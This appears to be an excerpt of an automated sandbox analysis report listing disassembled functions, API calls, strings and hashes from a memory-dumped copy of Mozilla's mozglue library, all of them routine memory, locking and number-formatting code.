Part of subcall function 6C984DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C984E97

Part of subcall function 6C984290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9C3EBD,6C9C3EBD,00000000), ref: 6C9842A9

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: e0e211740c924633c6b49bc1d9a7c0008154225875bbb238bb72a2d897492718
Instruction ID: 8977c7da52485bea33c1cbee68c279b18caf2e923a73075fd12bb3de9a868628
Opcode Fuzzy Hash: e0e211740c924633c6b49bc1d9a7c0008154225875bbb238bb72a2d897492718
Instruction Fuzzy Hash: CD41C1719047069FD300DF29C48056BFBF4FFEA254F204A2DE4A987681DB30D55ACB92

Function 6C9C6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9C82BC,?,?), ref: 6C9C649B

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C64A9

Part of subcall function 6C9BFA80: GetCurrentThreadId.KERNEL32 ref: 6C9BFA8D
Part of subcall function 6C9BFA80: AcquireSRWLockExclusive.KERNEL32(6CA0F448), ref: 6C9BFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C653F
free.MOZGLUE(?), ref: 6C9C655A

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 4d09f7870b4873ce4b2b378e0d26ca2f844caf026c32acc20de41488b863561b
Instruction ID: 6eb2ae89de8a66a5e09952b21f983f14ef1fbdec11bb5d7bfec932a3783f4cd2
Opcode Fuzzy Hash: 4d09f7870b4873ce4b2b378e0d26ca2f844caf026c32acc20de41488b863561b
Instruction Fuzzy Hash: 3E318FB5A047459FD704CF24D880A9EBBF4FF98314F10842EE89A97741DB30E919CB92

Function 6C9BFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9DD019,?,?,?,?,?,00000000,?,6C9CDA31,00100000,?), ref: 6C9BFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9DD019,?,?,?,?,?,00000000,?,6C9CDA31,00100000,?,?), ref: 6C9BFFF5
free.MOZGLUE(?,?,?,?,?,6C9DD019,?,?,?,?,?,00000000,?,6C9CDA31,00100000,?), ref: 6C9C001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9DD019,?,?,?,?,?,00000000,?,6C9CDA31,00100000,?,?), ref: 6C9C002A

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: dbdc17a3931e54a61ab8a8d15daf69e8ef9bc13088b6c467c8cc67bcd0eb222a
Instruction ID: 2f2b8804b13ad6ff14a6e12c6c9bdce11538901a603c4ded3db38f2f756b6596
Opcode Fuzzy Hash: dbdc17a3931e54a61ab8a8d15daf69e8ef9bc13088b6c467c8cc67bcd0eb222a
Instruction Fuzzy Hash: BB2108B6B002169BC7189F789C848AFB7BAEB953247254338E425E7780EB70DD1287D1

Function 6C99B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99B4F5
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C99B502
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C99B542
free.MOZGLUE(?), ref: 6C99B578

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 068123eda29b865791a916e4514c01b5de3b2b15fda33c1741610e3af62056f8
Instruction ID: 27a9218b572618a4f9f1033c238eeec368ecd7471cff88afacca28aa16c77f63
Opcode Fuzzy Hash: 068123eda29b865791a916e4514c01b5de3b2b15fda33c1741610e3af62056f8
Instruction Fuzzy Hash: 2011D230B04B42C7D3218F69D900761B3B5FF96358F14970ED84963A01EBB5E1C68795

Function 6C9C3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C98F20E,?), ref: 6C9C3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C98F20E,00000000,?), ref: 6C9C3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C9C3E0E

Part of subcall function 6C9BCC00: GetCurrentProcess.KERNEL32(?,?,6C9831A7), ref: 6C9BCC0D
Part of subcall function 6C9BCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9831A7), ref: 6C9BCC16

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 8746b068743495c9d0bde62b11db433b6becebdf794c20ac495292a8e2e801be
Instruction ID: 9a1ed12176eefbbaaf32b9333e0b4c462f5ce441297fe48ae57b8d578778bfc0
Opcode Fuzzy Hash: 8746b068743495c9d0bde62b11db433b6becebdf794c20ac495292a8e2e801be
Instruction Fuzzy Hash: 09F05E716002097BD704AB54DC41DEB372CEB56668F044024FE0917700D735F92A86F7

Function 6C9D20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9D20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C9BFBD1), ref: 6C9D20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C9BFBD1), ref: 6C9D20DA
free.MOZGLUE(00000000,?,6C9BFBD1), ref: 6C9D20F1

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: fca42abfb0763e95bddd3ea682904e128d42c8d84082f79506e108d5865d7b08
Instruction ID: 9e4c6a7148250e220d447d139f070a4f09de8dde99c7af412e0f164c75a13eec
Opcode Fuzzy Hash: fca42abfb0763e95bddd3ea682904e128d42c8d84082f79506e108d5865d7b08
Instruction Fuzzy Hash: 2EE0E531704F169BC3209F25E90868EB7F9EF96258B11822AE40693B00D775F94786D5

Function 6C9D85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9D85D3

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9D8725

Strings

map/set<T> too long, xrefs: 6C9D8720

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 43b870596ea3bbac24d3f035471cf7d26caa51d447e4270a61ee7a7525340e3a
Instruction ID: bb22eef6eaa73c5cf53491ca8d8df0b36498fab0509c19e79861cc744e0b290e
Opcode Fuzzy Hash: 43b870596ea3bbac24d3f035471cf7d26caa51d447e4270a61ee7a7525340e3a
Instruction Fuzzy Hash: 1A5165B4600A458FC705CF18C084A56BBF1BF59328F1AC18AE8596BB52C334F885CFD5

Function 6C98BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C98BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C98BE8F

Strings

0, xrefs: 6C98BE5B

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 9b5fbc4927cc4c43cc7d4982005adb5baee00d1c514e844a331545aacb32e273
Instruction ID: a18dd48702eb249bc8c3a9b69e0dfec2de05755c30877d6c020501a18da365e4
Opcode Fuzzy Hash: 9b5fbc4927cc4c43cc7d4982005adb5baee00d1c514e844a331545aacb32e273
Instruction Fuzzy Hash: D941AE7190A745DFC701CF28C881A9FB7F4AF9A388F048E1DF985A7611D730D9498B92

Function 6C9C3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9C3D19
mozalloc_abort.MOZGLUE(?), ref: 6C9C3D6C

Strings

d, xrefs: 6C9C3D58

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 722f45519850cfd8abb2136533d7889d246b6ae5db5f46586894fde7fb48f1d4
Instruction ID: b030e8f2ee5abfe0f5d63adf560e8f3a623eb903e31acb90f3a4a20a924ae507
Opcode Fuzzy Hash: 722f45519850cfd8abb2136533d7889d246b6ae5db5f46586894fde7fb48f1d4
Instruction Fuzzy Hash: B911EF32F047899BDB048F69C8144EEB779FF96358B448318E8859B602EB30E585C392

Function 6C994730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9944B2,6CA0E21C,6CA0F7F8), ref: 6C99473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C99474A

Strings

GetNtLoaderAPI, xrefs: 6C994744

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 658242ee81f49c338ef0cc2cc59a26f8c89595a3a6e850b1d64afab7da896ff6
Instruction ID: 38fd281e92cde398aa8b11f4eafc7c51228f729f8660732eb77aac1fa8a6efeb
Opcode Fuzzy Hash: 658242ee81f49c338ef0cc2cc59a26f8c89595a3a6e850b1d64afab7da896ff6
Instruction Fuzzy Hash: 2F0192793003199FDF099F6598486597BB9FB4B795B08846DE905D7700CB70D8038F91

Function 6C9E6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9E6E22
__Init_thread_footer.LIBCMT ref: 6C9E6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9E6E1D

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 910bedfe8a774a42172070da4008006af70b1c93bb88b78facec05d8a73ad9d1
Instruction ID: c9eca3f0b1f3d22ddd9e356e2266400ee29b9b0ae7e3d38904f34f600b1163be
Opcode Fuzzy Hash: 910bedfe8a774a42172070da4008006af70b1c93bb88b78facec05d8a73ad9d1
Instruction Fuzzy Hash: 0BF0F0313043C6CBDB05CA68DC60AD237766B2629CF04416DC91456B92DB21E567CAA7

Function 6C999E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C999EEF

Strings

NaN, xrefs: 6C999EC1
Infinity, xrefs: 6C999EB7

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 867330ab9b037cbb50f7d9d924f31793aafc393f95b1e4648bd05179aa2c0470
Instruction ID: f200b73cebc3e50ba294f79cda2d217deb38539fd98edcc08039b0fcd6fb72cb
Opcode Fuzzy Hash: 867330ab9b037cbb50f7d9d924f31793aafc393f95b1e4648bd05179aa2c0470
Instruction Fuzzy Hash: 7DF08770700342DEDB08CB58EC45B9533B1B31339DF248A1DCA142AB80D735A587CA9A

Function 6C99BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C99BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C99BEF5

Strings

cryptbase.dll, xrefs: 6C99BEF0

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 605d66e1757daeaf4a37f4071454acbef6bec30519071b88be47b711e2879b71
Instruction ID: 351521f7a40f8891eb50956090a27c4edb808d7b287ae78454c95ee5b7882a14
Opcode Fuzzy Hash: 605d66e1757daeaf4a37f4071454acbef6bec30519071b88be47b711e2879b71
Instruction Fuzzy Hash: 89D0A731380208EBC7146B909D09F15377CA711759F10C024F30544951C7B0D452CB90

Function 6C9850E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C984E9C,?,?,?,?,?), ref: 6C98510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C984E9C,?,?,?,?,?), ref: 6C985167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C985196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C984E9C), ref: 6C985234

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: d0c25feb156a6362f3e75cb6f05139d8e1d9f53aca2b638ee0e24267c1626594
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 6291D035502646CFCB14CF08C490A56BBA6FF99318B28898CDC599B715C771FD46CBE0

Function 6C9C08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9C0918
LeaveCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9C09A6
EnterCriticalSection.KERNEL32(6CA0E7DC,?,00000000), ref: 6C9C09F3
LeaveCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9C0ACB

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 7f6be0248bff162bc49a3c668829925b4e982c6b6b51b37a5e5dee9b1178a360
Instruction ID: 5ffc811c46e4cd8dcebca5e2c27f37bb593ab1e6b5f9540331f58b81c414e422
Opcode Fuzzy Hash: 7f6be0248bff162bc49a3c668829925b4e982c6b6b51b37a5e5dee9b1178a360
Instruction Fuzzy Hash: 645138727016518BEB0C9A58D40876673B5EB82BACF24863ED9A597F80C730E84386D3

Function 6C9DB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9DB2C9,?,?,?,6C9DB127,?,?,?,?,?,?,?,?,?,6C9DAE52), ref: 6C9DB628

Part of subcall function 6C9D90E0: free.MOZGLUE(?,00000000,?,?,6C9DDEDB), ref: 6C9D90FF
Part of subcall function 6C9D90E0: free.MOZGLUE(?,00000000,?,?,6C9DDEDB), ref: 6C9D9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9DB2C9,?,?,?,6C9DB127,?,?,?,?,?,?,?,?,?,6C9DAE52), ref: 6C9DB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9DB2C9,?,?,?,6C9DB127,?,?,?,?,?,?,?,?,?,6C9DAE52), ref: 6C9DB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9DB127,?,?,?,?,?,?,?,?), ref: 6C9DB74D

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ca2addf97df35121622cf385ba8372b1be5a727efc0ce21ab3c16e6720f09887
Instruction ID: ab57eb70c1ab62f934e5678c2e4fa659dbb6fa9d6d2ee6804592860def6c1fc4
Opcode Fuzzy Hash: ca2addf97df35121622cf385ba8372b1be5a727efc0ce21ab3c16e6720f09887
Instruction Fuzzy Hash: 9051DB71A01A168BDB14CF18C98066EB7B5FF85B08F46C52DD85ABBB00DB30F804CBA1

Function 6C9DDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9CFF2A), ref: 6C9DDFFD

Part of subcall function 6C9D90E0: free.MOZGLUE(?,00000000,?,?,6C9DDEDB), ref: 6C9D90FF
Part of subcall function 6C9D90E0: free.MOZGLUE(?,00000000,?,?,6C9DDEDB), ref: 6C9D9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9CFF2A), ref: 6C9DE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9CFF2A), ref: 6C9DE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C9CFF2A), ref: 6C9DE0FE

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fcc6db8af7702dd980d7b5515b2695ca8faef9ad02b5b6764675014d5c8a927f
Instruction ID: 31b8eb1e076ea9cb79722803930b80be1ff667510db290317fac844f1aa03e22
Opcode Fuzzy Hash: fcc6db8af7702dd980d7b5515b2695ca8faef9ad02b5b6764675014d5c8a927f
Instruction Fuzzy Hash: 6441B471708A16CFEB14CF58D88036AB7B5AB45308F168539D516EB740E731F905CB92

Function 6C9D6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9D6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9D6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9D6F1E
